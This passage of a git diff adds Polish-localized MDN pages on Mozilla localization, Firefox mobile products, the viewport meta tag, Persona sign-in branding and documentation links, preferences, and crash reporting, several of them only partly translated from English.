+<ul><li> <a class="external" href="http://ftp.mozilla.org/pub/mozilla.org/firefox/tinderbox-builds/latest-mozilla1.8-l10n/">Najnowszy Firefox (gałąź 1.8) z Tinderboksa</a>
+</li><li> <a class="external" href="http://ftp.mozilla.org/pub/mozilla.org/thunderbird/tinderbox-builds/latest-mozilla1.8-l10n/">Najnowszy Thunderbird (gałąź 1.8) z Tinderboksa</a>
+</li><li> <a class="external" href="http://ftp.mozilla.org/pub/mozilla.org/calendar/sunbird/tinderbox-builds/latest-mozilla1.8-l10n/">Najnowszy Calendar/Sunbird (gałąź 1.8) z Tinderboksa</a>
+</li></ul>
+<ul><li> <a class="external" href="http://ftp.mozilla.org/pub/mozilla.org/firefox/nightly/latest-mozilla1.8-l10n/">Wersje Nightly Firefoksa</a>
+</li><li> <a class="external" href="http://ftp.mozilla.org/pub/mozilla.org/thunderbird/nightly/latest-mozilla1.8-l10n/">Wersje Nightly Thunderbirda</a>
+</li><li> <a class="external" href="http://ftp.mozilla.org/pub/mozilla.org/calendar/sunbird/nightly/latest-mozilla1.8-l10n/">Wersje Nightly Calendar/Sunbirda</a>
+</li></ul>
+<h3 id="QA_.28kontrola_jako.C5.9Bci.29"> QA (kontrola jakości) </h3>
+<p>W celu zapewnienia jakości kompilacji powinny zostać wykonane testy poprzez użycie <a class=" external" href="http://litmus.mozilla.org/">http://litmus.mozilla.org/</a>
+</p>{{ languages( { "en": "en/What_every_Mozilla_translator_should_know" } ) }}
diff --git a/files/pl/mozilla/localization/index.html b/files/pl/mozilla/localization/index.html
new file mode 100644
index 0000000000..9b7dac8ce9
--- /dev/null
+++ b/files/pl/mozilla/localization/index.html
@@ -0,0 +1,21 @@
+---
+title: Localization at Mozilla
+slug: Mozilla/Localization
+tags:
+ - Landing
+ - Localization
+ - Mozilla
+ - NeedsTranslation
+ - TopicStub
+ - Translation
+ - l10n
+translation_of: Mozilla/Localization
+---
+<p><span class="seoSummary"><strong>Localization</strong> (L10n) is the process of translating software user interfaces from one language to another and adapting it to suit a foreign culture. These resources are for anyone with an interest in the technical aspects involved in localization.</span> They are for developers and all contributors.</p>
+
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Project:MDN/Localizing" title="/en-US/docs/Project:MDN/Localizing">Localizing MDN</a> (About localization of the documentation here on MDN)</li>
+</ul>
diff --git a/files/pl/mozilla/mobile/index.html b/files/pl/mozilla/mobile/index.html
new file mode 100644
index 0000000000..669a69a9ed
--- /dev/null
+++ b/files/pl/mozilla/mobile/index.html
@@ -0,0 +1,32 @@
+---
+title: Mobile
+slug: Mozilla/Mobile
+tags:
+ - Mozilla
+ - NeedsTranslation
+ - TopicStub
+translation_of: Mozilla/Mobile
+---
+<h2 id="Firefox_OS" name="Firefox_OS"><a href="/en-US/docs/Mozilla/Firefox_OS">Firefox OS</a></h2>
+
+<p>Firefox OS is an open source mobile operating system which uses Linux and Mozilla's Gecko engine to run a user interface and set of applications written entirely in HTML, CSS and JavaScript.</p>
+
+<p>Read about how to install Firefox OS and how to develop apps for it.</p>
+
+<h2 id="Firefox_for_Android" name="Firefox_for_Android"><a href="/en-US/docs/Mozilla/Firefox_for_Android">Firefox for Android</a></h2>
+
+<p>Firefox for Android is Mozilla's mobile web browser for Android devices. It's recently been rewritten to use Android's native UI, making it faster, leaner and more responsive. It provides support for powerful APIs to access device capabilities such as the camera and telephony stack.</p>
+
+<p>Read about how to help create Firefox for Android, how to use its device APIs, and how to build mobile add-ons.</p>
+
+<h2 id="Firefox_for_iOS" name="Firefox_for_iOS"><a href="/en-US/docs/Mozilla/Firefox_for_iOS">Firefox for iOS</a></h2>
+
+<p>Firefox for iOS is Mozilla's upcoming mobile web browser for iOS devices. Because of AppStore restrictions, it uses the built in WebView supplied by iOS rather than Gecko.</p>
+
+<p>Read about how to help with Firefox for iOS, and how to integrate it with your other iOS Apps.</p>
+
+<h2 id="Mobile_web_development" name="Mobile_web_development"><a href="/en-US/docs/Web/Guide/Mobile">Mobile web development</a></h2>
+
+<p>Mobile devices have very different hardware characteristics from desktop or laptop computers, and many of the APIs used to work with them are still in the process of being standardized.</p>
+
+<p>Read about how to develop web sites that look good on mobile devices and take advantage of the new possibilities they offer. Learn how to make sure your web site works well on different browsers.</p>
diff --git a/files/pl/mozilla/mobile/viewport_meta_tag/index.html b/files/pl/mozilla/mobile/viewport_meta_tag/index.html
new file mode 100644
index 0000000000..6fbb96f483
--- /dev/null
+++ b/files/pl/mozilla/mobile/viewport_meta_tag/index.html
@@ -0,0 +1,97 @@
+---
+title: >-
+ Używanie właściwości viewport znacznika meta w celu kontroli układu strony na
+ urządzeniach mobilnych.
+slug: Mozilla/Mobile/Viewport_meta_tag
+tags:
+ - Układ
+ - mobilne
+ - układ strony
+translation_of: Mozilla/Mobile/Viewport_meta_tag
+---
+<p>Nadchodzące wydanie <a class="link-https" href="https://wiki.mozilla.org/Mobile/Fennec">Mobile Firefox (Fennec)</a> 1.1 zawiera ulepszone wsparcie dla znacznika <a href="/en-US/docs/Web/HTML/Element/meta#Attributes"><code>&lt;meta name="viewport"&gt;</code></a>. Poprzednie wersje Fenneca wspierały właściwości <code>width (szerokość)</code>, <code>height (wysokość)</code>, i <code>initial-scale tego znacznika</code>, jednakże witryny projektowane pod iPhone'a i urządzenia z systemem Android miały z tym <a class="external" href="http://starkravingfinkle.org/blog/2010/01/perils-of-the-viewport-meta-tag/">problemy</a>. Od tej chwili wspieramy te same właściwości jak Mobile Safari, a także Fennec wyświetla strony mobilne zwięźle na ekranach o różnych rozmiarach i rozdzielczościach.</p>
+
+<p class="caption">touch.facebook.com przedtem:</p>
+
+<p class="figure"><img alt="05-11-fennec-meta-viewport-2.png" class="default internal" src="/@api/deki/files/4371/=05-11-fennec-meta-viewport-2.png"></p>
+
+<p class="caption">touch.facebook.com teraz:</p>
+
+<p class="figure"><img alt="05-11-fennec-meta-viewport-1.png" class="default internal" src="/@api/deki/files/4372/=05-11-fennec-meta-viewport-1.png"></p>
+
+<p>Już teraz możesz zobaczyć te zmiany w najnowszym <a class="external" href="http://ftp.mozilla.org/pub/mozilla.org/mobile/nightly/latest-mobile-1.9.2/">Fennecu 1.1</a> i <a class="external" href="http://ftp.mozilla.org/pub/mozilla.org/mobile/nightly/latest-mobile-trunk/">trunk</a> nightly builds dla Maemo, Windows, Maca czy Linuxa.</p>
+
+<h2 id="Skąd_to_się_wzięło">Skąd to się wzięło</h2>
+
+<p>Przeglądarki mobilne, takie jak Fennec wyświetlają strony w wirtualnym "okienku" (viewport), zazwyczaj jest on szerszy niż ekran, tak aby strony nie zoptymalizowane pod wyświetlanie na urządzeniach mobilnych nie musiały się ściaskać w wąskim okienku. Użytkownicy mogą sobie przybliżyć i przesuwać ekran by zobaczyć inne części strony.</p>
+
+<p>Mobilna wersja Safari przedstawiła "viewport meta tag", aby pozwolić developerom na kontrolę rozmiar widocznego pola i jego skalowanie. Dziś wiele przeglądarek mobilnych wspiera już użycie tego znacznika, nie jest on jednak żadnym standardem. <a class="external" href="http://developer.apple.com/safari/library/documentation/AppleApplications/Reference/SafariWebContent/UsingtheViewport/UsingtheViewport.html#//apple_ref/doc/uid/TP40006509-SW29">Dokumentacja</a> Apple'a świetnie wyjaśnia jak developerzy mogą używać tego znacznika. Nam jednak zajęło to sporo czasu zanim rozgryźliśmy jak możemy zaimplementować to w Fennecu. Na przykład: dokumentacja Safari mówi, że właściwość <code>content</code> to "dzielona przecinkami lista", problem w tym, że obecnie działające przeglądarki i strony używają różnych mieszanek przecinków, średników i spacji jako separatorów.</p>
+
+<p>Aby zaczerpnąć więcej informacji zachęcamy do przeczytania artykułu <a class="external" href="http://www.quirksmode.org/mobile/viewports2.html" title="http://www.quirksmode.org/mobile/viewports2.html">A Tale of Two Viewports</a> na quirksmode.org.</p>
+
+<h2 id="Podstawy_Viewportu">Podstawy Viewportu</h2>
+
+<p>Każda witryna zoptymalizowana do wyświetlania na urządzeniach mobilnych powinna zawierać coś takiego:</p>
+
+<pre>&lt;meta name="viewport" content="width=device-width, initial-scale=1"&gt;</pre>
+
+<p>Właściwość <code>width</code> (szerokość) kontroluje wielkość widocznego pola. Można jej przyisać konkretną liczbę np. <code>width=600,</code> albo specjalne słowo kluczowe - <code>device-width</code>, które oznacza nadanie wielkości ekranu w pikselach przy zoomie na poziomie 100%. (Istnieją również <code>height</code> i <code>device-height</code>, które przydadzą się w przypadku gdy wielkość danego elementu zależy od wysokości ekranu.)</p>
+
+<p>Właściwość <code>initial-scale</code> kontroluje poziom zbliżenia po załadowaniu strony. Właściwości <code>maximum-scale</code>, <code>minimum-scale</code> i <code>user-scalable</code> mówią o tym jak bardzo przybliżać/oddalać może sam użytkownik.</p>
+
+<h2 id="Piksel_pikselowi_nie_równy_A_pixel_is_not_a_pixel">Piksel pikselowi nie równy (A pixel is not a pixel)</h2>
+
+<p>iPhone'y, a także wiele popularnych urządzeniem z systemem Android posiada ekrany o wielkości od 3 do 4 cali (7–10 cm) z rozdzielczością 320—480 pikseli (~160 dpi). Firefox dla Maemo działa na urządzeniu Nokia N900, które ma takie same wymiary ale rozdzielczość 480—800 pikseli (~240 dpi). Dlatego też, najnowsza wersja Fenneca wyświetlała wiele stron nawet do trzech razy mniejsze niż na iPhonie czy urządzeniach z Androidem. Spowodowało to wiele problemów z użytkowaniem i czytelnością stron zoptymalizowanych pod urządzenia dotykowe. Peter-Paul Koch napisał artykuł na temat zatytułowany <a class="external" href="http://www.quirksmode.org/blog/archives/2010/04/a_pixel_is_not.html">A pixel is not a pixel</a>.</p>
+
+<p>Fennec 1.1 for Maemo will use 1.5 hardware pixels for each CSS "pixel," following the lead of Android's WebKit-based browser. This means a page with <code>initial-scale=1</code> will render at close to the same physical size in Fennec for Maemo, Mobile Safari for iPhone, and the Android Browser on both <a class="external" href="http://developer.android.com/guide/practices/screens_support.html#range">HDPI and MDPI</a> phones. This is consistent with the <a class="external" href="http://www.w3.org/TR/CSS2/syndata.html#length-units">CSS 2.1 specification</a>, which says:</p>
+
+<blockquote>
+<p>If the pixel density of the output device is very different from that of a typical computer display, the user agent should rescale pixel values. It is recommended that the pixel unit refer to the whole number of device pixels that best approximates the reference pixel. It is recommended that the reference pixel be the visual angle of one pixel on a device with a pixel density of 96dpi and a distance from the reader of an arm's length.</p>
+</blockquote>
+
+<p>For web developers, this means that 320px be full width in portrait mode at scale=1, on all of the above-mentioned handheld devices, and they may size their layouts and images accordingly. But remember that not all mobile devices are the same width; you should also make sure that your pages work well in landscape mode, and on larger devices like the iPad and Android tablets.</p>
+
+<p>On 240-dpi screens, pages with <code>initial-scale=1</code> will effectively be zoomed to 150% by both Fennec and Android WebKit. Their text will be smooth and crisp, but their bitmap images will probably not take advantage of the full screen resolution. To get sharper images on these screens, web developers may want to design images – or whole layouts – at 150% of their final size (or 200%, to support 320-dpi devices such as a retina display iPhone) and then scale them down using CSS or viewport properties.</p>
+
+<p>The default ratio depends on the display density.  On a display with density less than 200dpi, the ratio is 1.0.  On displays with density between 200 and 300dpi, the ratio is 1.5.  For displays with density over 300dpi, the ratio is the integer floor(<em>density</em>/150dpi).  Note that the default ratio is true only when the viewport scale equals 1. Otherwise, the relationship between CSS pixels and device pixels depends on the current zoom level.</p>
+
+<h2 id="Szerokość_viewport_i_szerokość_ekranu">Szerokość viewport i szerokość ekranu</h2>
+
+<p>Many sites set their viewport to <code>"width=320, initial-scale=1"</code> to fit precisely onto the iPhone display in portrait mode. As mentioned above, this caused <a class="external" href="http://starkravingfinkle.org/blog/2010/01/perils-of-the-viewport-meta-tag/">problems</a> when Fennec 1.0 rendered these sites, especially in landscape mode. To fix this, Fennec 1.1 will expand the viewport width if necessary to fill the screen at the requested scale. This matches the behavior of Android and Mobile Safari, and is especially useful on large-screen devices like the iPad. (Allen Pike's <a class="external" href="http://www.antipode.ca/2010/choosing-a-viewport-for-ipad-sites/">Choosing a viewport for iPad sites</a> has a good explanation for web developers.)</p>
+
+<p>For pages that set an initial or maximum scale, this means the <code>width</code> property actually translates into a <em>minimum</em> viewport width. For example, if your layout needs at least 500 pixels of width then you can use the following markup. When the screen is more than 500 pixels wide, the browser will expand the viewport (rather than zoom in) to fit the screen:</p>
+
+<pre>&lt;meta name="viewport" content="width=500, initial-scale=1"&gt;</pre>
+
+<p>Fennec 1.1 also adds support for <code>minimum-scale</code>, <code>maximum-scale</code>, and <code>user-scalable</code>, with defaults and limits similar to <a class="external" href="http://developer.apple.com/safari/library/documentation/AppleApplications/Reference/SafariHTMLRef/Articles/MetaTags.html">Safari's</a>. These properties affect the initial scale and width, as well as limiting changes in zoom level.</p>
+
+<p>Mobile browsers handle orientation changes slightly differently. For example, Mobile Safari often just zooms the page when changing from portrait to landscape, instead of laying out the page as it would if originally loaded in landscape. If web developers want their scale settings to remain consistent when switching orientations on the iPhone, they must add a <code>maximum-scale</code> value to prevent this zooming, which has the sometimes-unwanted side effect of preventing users from zooming in:</p>
+
+<pre>&lt;meta name="viewport" content="initial-scale=1, maximum-scale=1"&gt;</pre>
+
+<p>This is not necessary in Fennec; when the device changes orientation, Fennec updates the viewport size, the page layout, and JavaScript/CSS properties like <code>device-width</code>, based on its new window dimensions.</p>
+
+<h2 id="Wspólne_rozmiary_viewport_dla_urządzeń_przenośnych">Wspólne rozmiary viewport dla urządzeń przenośnych</h2>
+
+<p>If want to know what mobile and tablet devices have which viewport widths, there is a comprehensive list of <a href="http://viewportsizes.com/" title="http://viewportsizes.com/">mobile and tablet viewport sizes here</a>. This gives information such as viewport width on portrait and landscape orientation as well as physical screen size, operating system and the pixel density of the device.</p>
+
+<h2 id="Specyfikacje">Specyfikacje</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specyfikacja</th>
+ <th scope="col">Status</th>
+ <th scope="col">Komentarz</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('CSS3 Device', '#viewport-meta', '&lt;meta name="viewport"&gt;')}}</td>
+ <td>{{Spec2('CSS3 Device')}}</td>
+ <td>Non-normatively describes the Viewport META element</td>
+ </tr>
+ </tbody>
+</table>
+
+<p>There is clearly demand for the viewport meta tag, since it is supported by most popular mobile browsers and used by thousands of web sites. It would be good to have a true standard for web pages to control viewport properties. As the standardization process proceeds, we at Mozilla will work to make sure we can implement any changes made during standardization.</p>
diff --git a/files/pl/mozilla/persona/branding/index.html b/files/pl/mozilla/persona/branding/index.html
new file mode 100644
index 0000000000..1b4ac3ba7e
--- /dev/null
+++ b/files/pl/mozilla/persona/branding/index.html
@@ -0,0 +1,43 @@
+---
+title: Zasoby Branding
+slug: Mozilla/Persona/branding
+translation_of: Archive/Mozilla/Persona/User_interface_guidelines
+---
+<h2 id="Przyciski_logowania_za_pomocą_Persony">Przyciski logowania za pomocą Persony</h2>
+<h3 id="Obrazkowe">Obrazkowe</h3>
+<p>Przyciski logowania dostępne są w trzech wersjach i kolorach:</p>
+<table>
+ <thead>
+ <tr>
+ <th scope="row"> </th>
+ <th scope="col">Sign in with your Email</th>
+ <th scope="col">Sign in with Persona</th>
+ <th scope="col">Sign in</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <th scope="row">Czarny</th>
+ <td><img alt="" src="/files/3955/email_sign_in_black.png" style="width: 202px; height: 25px;"></td>
+ <td><img alt="" src="/files/3961/persona_sign_in_black.png" style="width: 185px; height: 25px;"></td>
+ <td><img alt="" src="/files/3967/plain_sign_in_black.png" style="width: 95px; height: 25px;"></td>
+ </tr>
+ <tr>
+ <th scope="row">Niebieski</th>
+ <td><img alt="" src="/files/3957/email_sign_in_blue.png" style="width: 202px; height: 25px;"></td>
+ <td><img alt="" src="/files/3963/persona_sign_in_blue.png" style="width: 185px; height: 25px;"></td>
+ <td><img alt="" src="/files/3969/plain_sign_in_blue.png" style="width: 95px; height: 25px;"></td>
+ </tr>
+ <tr>
+ <th scope="row">Czerwony</th>
+ <td><img alt="" src="/files/3959/email_sign_in_red.png" style="width: 202px; height: 25px;"></td>
+ <td><img alt="" src="/files/3965/persona_sign_in_red.png" style="width: 185px; height: 25px;"></td>
+ <td><img alt="" src="/files/3971/plain_sign_in_red.png" style="width: 95px; height: 25px;"></td>
+ </tr>
+ </tbody>
+</table>
+<h3 id="Bazujące_na_CSS">Bazujące na CSS</h3>
+<p><a href="http://sawyerhollenshead.com/" title="http://sawyerhollenshead.com/">Sawyer Hollenshead</a> stworzył powyższe przyciski za pomocą CSS.<br>
+ <a href="/files/3973/persona-css-buttons.zip" style="line-height: inherit;" title="/files/3973/persona-css-buttons.zip">Pobierz (.zip)</a></p>
+<h2 id="Więcej_informacji">Więcej informacji</h2>
+<p>Więcej informacji na tematy designu Persony możesz znaleść w <a href="http://people.mozilla.org/~smartell/persona/" title="http://people.mozilla.org/~smartell/persona/">Sean Martell's style primer</a>.</p>
diff --git a/files/pl/mozilla/persona/index.html b/files/pl/mozilla/persona/index.html
new file mode 100644
index 0000000000..9ff44aa7c7
--- /dev/null
+++ b/files/pl/mozilla/persona/index.html
@@ -0,0 +1,156 @@
+---
+title: Persona
+slug: Mozilla/Persona
+translation_of: Archive/Mozilla/Persona
+---
+<div class="callout-box">
+ <ul>
+ <li><strong>Bądź w kontakcie lub uzyskaj pomoc!</strong></li>
+ </ul>
+ <p>Śledź <a class="external" href="http://identity.mozilla.com/" title="http://identity.mozilla.com/">naszego bloga</a>, dołącz do <a class="link-https" href="https://lists.mozilla.org/listinfo/dev-identity" title="https://lists.mozilla.org/listinfo/dev-identity">naszej listy mailingowej</a>, lub znajdź nas <a class="link-irc" href="irc://irc.mozilla.org/identity" title="irc://irc.mozilla.org/identity">#identity</a> na <a class="link-https" href="https://wiki.mozilla.org/IRC" title="https://wiki.mozilla.org/IRC">IRC</a>.</p>
+</div>
+<dl>
+ <dd style="text-align: right;">
+ <a class="link-https" href="https://www.mozilla.org/en-US/persona/" title="https://www.mozilla.org/en-US/persona/">Mozilla Persona</a> jest kompletnie zdecentalizowanym i bezpiecznym systemem autoryzacji, opartym na protokole BrowseID. <span id="result_box" lang="pl"><span class="hps">Aby zapewnić, że</span> <span class="hps">Persona</span> <span class="hps">działa wszędzie</span> <span class="hps">i dla wszystkich</span><span>, Mozilla</span> <span class="hps alt-edited">prowadzi obecnie</span> <span class="hps">niewielki</span> <span class="hps">zestaw</span> </span><a href="/en-US/docs/Persona/Bootstrapping_Persona" title="/en-US/docs/Persona/Bootstrapping_Persona">opcjonalnych, scentralizowanych usług</a><span id="result_box" lang="pl"> <span class="hps alt-edited">związanych z</span> <span class="hps">Persona</span><span>.</span></span></dd>
+</dl>
+<ol>
+ <li><strong>Persona jest łatwa w użyciu.</strong> Zaledwie dwa kliknięcia wystarczą, aby użytkwonik Persona mógł zarejestrować się na nowej stronie, takiej jak <a href="http://voo.st" title="http://voo.st">Voost</a> czy <a href="http://crossword.thetimes.co.uk/" title="http://crossword.thetimes.co.uk/">The Times Crossword</a>, pomijając trud związany z tworzeniem nowego konta.</li>
+ <li><strong>Persona jest łatwa w implementacji. </strong>Deweloperzy mogą dodać Persona do swojej strony w ciągu zaledwie jednego popołudnia.</li>
+ <li>Co najlepsze, <strong>nie ma ograniczeń</strong>. Deweloperzy otrzymują zweryfikowany adres mail od wszystkich użytkowników, a użytkownicy mogą używać dowolnego adresu mail w ramach Persona.</li>
+ <li><strong>Persona jest tworzona z wykorzystaniem protokołu BrowserID. </strong>Po implementacji protokołu BrowserID przez innych twórców przeglądarek, <b>nie będą oni musieli polegać już na Mozilli, aby się zalogować.</b></li>
+</ol>
+<p>Czytaj dalej, aby rozpocząć!</p>
+<div class="note">
+ <strong>Note:</strong> Persona jest aktywnie tworzona. Zobacz <a class="external" href="http://identity.mozilla.com/" title="http://identity.mozilla.com/">nasz blog</a>, żeby dowiedzieć się o nowych funkcjach, lub dołącz do <a class="link-https" href="https://lists.mozilla.org/listinfo/dev-identity" title="https://lists.mozilla.org/listinfo/dev-identity">naszej listy mailingowej</a> i zgłoś swoje uwagi!</div>
+<h2 id="Używaj_Persona_na_Twojej_stronie">Używaj Persona na Twojej stronie</h2>
+<table class="topicpage-table">
+ <tbody>
+ <tr>
+ <td>
+ <h3 id="Getting_started">Getting started</h3>
+ <dl>
+ <dt>
+ <a href="/en-US/docs/Persona/Why_Persona" title="en/BrowserID/Why_BrowserID">Dlaczego Persona?</a></dt>
+ <dd>
+ Learn about reasons to support Persona on your site, and how it compares to other identity and authentication systems.</dd>
+ <dt>
+ <a href="/en/Persona/Quick_Setup" title="BrowserID/Quick setup">Quick setup</a></dt>
+ <dd>
+ Szybkie wprowadzenie pokazujące jak dodać Persona do Twojej strony.</dd>
+ </dl>
+ </td>
+ <td>
+ <h3 id="Persona_API_reference">Persona API reference</h3>
+ <dl>
+ <dt>
+ <a href="/en/DOM/navigator.id" title="navigator.id">The navigator.id API reference</a></dt>
+ <dd>
+ Reference for the <code>navigator.id</code> object, which web developers can use to integrate Persona into sites.</dd>
+ <dt>
+ <a href="/en/Persona/Remote_Verification_API" title="en/BrowserID/Remote_Verification_API">Verification API reference</a></dt>
+ <dd>
+ Reference for the remote verification API hosted at <code>https://verifier.login.persona.org/verify</code>.</dd>
+ </dl>
+ </td>
+ </tr>
+ <tr>
+ <td>
+ <h3 id="Guides">Guides</h3>
+ <dl>
+ <dt>
+ <a href="/en/Persona/Security_Considerations" title="BrowserID/Security considerations">Security considerations</a></dt>
+ <dd>
+ Practices and techniques to make sure your Persona deployment is secure.</dd>
+ <dt>
+ <a href="/en/Persona/Browser_compatibility" title="/Browser_compatibility">Browser compatibility</a></dt>
+ <dd>
+ Learn exactly which browsers support Persona.</dd>
+ <dt>
+ <a href="/en/Persona/Internationalization" title="/Internationalization">Internationalization</a></dt>
+ <dd>
+ Learn how Persona handles different languages.</dd>
+ </dl>
+ </td>
+ <td>
+ <h3 id="Resources">Resources</h3>
+ <dl>
+ <dt>
+ <a class="link-https" href="https://github.com/mozilla/browserid/wiki/Persona-Libraries" title="https://github.com/mozilla/browserid/wiki/BrowserID-Libraries">Libraries and plugins</a></dt>
+ <dd>
+ Find a drop-in library for your favorite programming language, web framework, blog, or content management system.</dd>
+ <dt>
+ <a class="link-https" href="https://github.com/mozilla/browserid-cookbook" title="https://github.com/mozilla/browserid-cookbook">The Persona cookbook</a></dt>
+ <dd>
+ Example source code for Persona sites. Includes snippets in PHP, Node.JS, and more.</dd>
+ <dt>
+ <a href="/en-US/docs/persona/branding" title="/en-US/docs/persona/branding">Branding resources</a></dt>
+ <dd>
+ Sign in buttons and other graphics to help present Persona to your users.</dd>
+ </dl>
+ </td>
+ </tr>
+ </tbody>
+</table>
+<p> </p>
+<table class="topicpage-table">
+ <tbody>
+ <tr>
+ <td>
+ <h2 id="Information_for_Identity_Providers">Information for Identity Providers</h2>
+ <p>If you're an email provider or another identity-providing service, check out the links below to learn about becoming a Persona Identity Provider.</p>
+ <dl>
+ <dt>
+ <a href="/en-US/docs/Persona/Identity_Provider_Overview" title="IdP">IdP Overview</a></dt>
+ <dd>
+ A high level view of Persona Identity Providers.</dd>
+ <dt>
+ <a href="/en/Persona/Implementing_a_Persona_IdP" title="Guide to Implementing a Persona IdP">Implementing an IdP</a></dt>
+ <dd>
+ A detailed guide to the technical details of becoming an IdP.</dd>
+ <dt>
+ <a href="/en-US/Persona/IdP_Development_tips" title="Developer tips">Development tips</a></dt>
+ <dd>
+ A set of tips and tricks useful while developing a new Identity Provider.</dd>
+ <dt>
+ <a href="/en-US/docs/Persona/.well-known-browserid" title="https://developer.mozilla.org/en-US/docs/Persona/.well-known-browserid">.well-known/browserid</a></dt>
+ <dd>
+ An overview of the structure and purpose of the <code>.well-known/browserid</code> file, which IdPs use to advertise their support for the protocol.</dd>
+ </dl>
+ </td>
+ <td>
+ <h2 id="The_Persona_Project">The Persona Project</h2>
+ <dl>
+ <dt>
+ <a href="/en/Persona/Glossary" title="navigator.id">Glossary</a></dt>
+ <dd>
+ BrowserID and Persona terminology defined.</dd>
+ <dt>
+ <a href="/en/Persona/FAQ" title="en/BrowserID/FAQ">FAQ</a></dt>
+ <dd>
+ Answers to common questions.</dd>
+ <dt>
+ <a href="/en/Persona/Protocol_Overview" title="BrowserID/Protocol overview">Protocol overview</a></dt>
+ <dd>
+ A mid-level technical overview of the underlying BrowserID protocol.</dd>
+ <dt>
+ <a href="/en/persona/Crypto" title="MDN">Crypto</a></dt>
+ <dd>
+ A look at the cryptographic concepts behind Persona and BrowserID.</dd>
+ <dt>
+ <a class="link-https" href="https://github.com/mozilla/id-specs/blob/master/browserid/index.md" title="https://github.com/mozilla/id-specs/blob/master/browserid/index.md">The Spec</a></dt>
+ <dd>
+ Deep technical details live here.</dd>
+ <dt>
+ <a href="/Persona/Bootstrapping_Persona" title="en/BrowserID/Bootstrapping_BrowserID">The Persona Website</a></dt>
+ <dd>
+ To get Persona going, we're hosting three services at <a class="link-https" href="https://login.persona.org" rel="freelink">https://login.persona.org</a>: a fallback Identity Provider, a portable implementation of the {{ domxref("navigator.id") }} APIs, and an identity assertion verification service.</dd>
+ <dt>
+ <a href="https://github.com/mozilla/browserid">The Persona Source Code</a></dt>
+ <dd>
+ The code behind the Persona website lives in a repository on GitHub. Patches welcome!</dd>
+ </dl>
+ </td>
+ </tr>
+ </tbody>
+</table>
+<p> </p>
diff --git a/files/pl/mozilla/preferences/index.html b/files/pl/mozilla/preferences/index.html
new file mode 100644
index 0000000000..c4c7968577
--- /dev/null
+++ b/files/pl/mozilla/preferences/index.html
@@ -0,0 +1,68 @@
+---
+title: Preferences
+slug: Mozilla/Preferences
+tags:
+ - Junk
+ - NeedsTranslation
+ - TopicStub
+translation_of: Mozilla/Preferences
+---
+<p>The preference system makes it possible to store data for Mozilla applications using a key/value pairing system. These articles provide information about how to use the preference system.</p>
+<table class="topicpage-table">
+ <tbody>
+ <tr>
+ <td>
+ <h2 class="Documentation" id="Documentation" name="Documentation">Documentation</h2>
+ <dl>
+ <dt>
+ <a href="/en-US/docs/Preferences/Preferences_system" title="Preferences/Preferences system">Preferences system</a></dt>
+ <dd>
+ An introduction to using the preference system in Mozilla.</dd>
+ <dt>
+ <a href="/en-US/docs/XUL_School/Handling_Preferences" title="XUL School/Handling Preferences">XUL School: Handling preferences</a></dt>
+ <dd>
+ The XUL School tutorial chapter on preferences.</dd>
+ <dt>
+ <a href="/en-US/docs/Preferences/Preference_reference" title="Preferences/Preference_reference">Mozilla preference reference</a></dt>
+ <dd>
+ A reference guide to all Mozilla preferences; currently a work in progress.</dd>
+ <dt>
+ <a href="/en-US/docs/Preferences/A_brief_guide_to_Mozilla_preferences" title="Preferences/A brief guide to Mozilla preferences">A brief guide to Mozilla preferences</a></dt>
+ <dd>
+ An introductory guide to where preferences are stored and other useful information about the core preference system.</dd>
+ <dt>
+ <a href="/en-US/docs/Preferences/Using_preferences_from_application_code" title="Preferences/Using preferences from application code">Using preferences from application code</a> {{gecko_minversion_inline("6.0")}}</dt>
+ <dd>
+ Firefox 6 introduced static functions for accessing preferences efficiently from within application code. This API is not available for add-ons, but if you're working on a Gecko application, this API is the preferred way to access preferences.</dd>
+ <dt>
+ <a href="/en-US/docs/Preferences/Mozilla_networking_preferences" title="Preferences/Mozilla networking preferences">Mozilla networking preferences</a></dt>
+ <dd>
+ A guide to key networking-related preferences.</dd>
+ <dt>
+ <a href="/en-US/docs/Preferences/Mozilla_preferences_for_uber-geeks" title="Preferences/Mozilla preferences for uber-geeks">Mozilla preferences for uber-geeks</a></dt>
+ <dd>
+ A guide to preferences that only truly elite geeks should play with.</dd>
+ </dl>
+ <p><span class="alllinks"><a href="/en-US/docs/tag/Preferences" title="tag/Preferences">View all pages tagged with "Preferences"...</a></span></p>
+ </td>
+ <td>
+ <h2 class="Community" id="Examples" name="Examples">Examples</h2>
+ <dl>
+ <dt>
+ <a href="/en-US/docs/Code_snippets/Preferences" title="Code snippets/Preferences">Code snippets</a></dt>
+ <dd>
+ Preference-related code snippets.</dd>
+ <dt>
+ <a href="/en-US/docs/Adding_preferences_to_an_extension" title="Adding preferences to an extension">Adding preferences to an extension</a></dt>
+ <dd>
+ How to add preferences to an existing extension.</dd>
+ </dl>
+ <h2 class="Related_Topics" id="Related_Topics" name="Related_Topics">Related Topics</h2>
+ <ul>
+ <li><a href="/en-US/docs/XUL" title="XUL">XUL</a>, <a href="/en-US/docs/JavaScript" title="JavaScript">JavaScript</a>, <a href="/en-US/docs/XPCOM" title="XPCOM">XPCOM</a>, <a href="/en-US/docs/Extensions" title="Extensions">Extensions</a>, <a href="/en-US/docs/Developer_Guide" title="Developing_Mozilla">Developing Mozilla</a></li>
+ </ul>
+ </td>
+ </tr>
+ </tbody>
+</table>
+<p> </p>
diff --git a/files/pl/mozilla/projects/crash_reporting/index.html b/files/pl/mozilla/projects/crash_reporting/index.html
new file mode 100644
index 0000000000..bb8fd91519
--- /dev/null
+++ b/files/pl/mozilla/projects/crash_reporting/index.html
@@ -0,0 +1,47 @@
+---
+title: Crash reporting
+slug: Mozilla/Projects/Crash_reporting
+tags:
+ - Crashes
+ - Developer Guide
+ - Developing Mozilla
+ - Firefox
+ - Mozilla
+ - NeedsTranslation
+ - QA
+ - TopicStub
+ - crash reports
+translation_of: Mozilla/Projects/Crash_reporting
+---
+<p>Firefox ships with an open-source crash reporting system. This system is combination of projects:</p>
+
+<ul>
+ <li><a href="http://code.google.com/p/google-breakpad/">Google Breakpad</a> client and server libraries</li>
+ <li>Mozilla-specific crash reporting user interface and bootstrap code</li>
+ <li><a href="https://github.com/mozilla/socorro">Socorro</a> Collection and reporting server</li>
+</ul>
+
+<h2 id="Where_did_my_crash_get_submitted.3F" name="Where_did_my_crash_get_submitted.3F">Where did my crash get submitted?</h2>
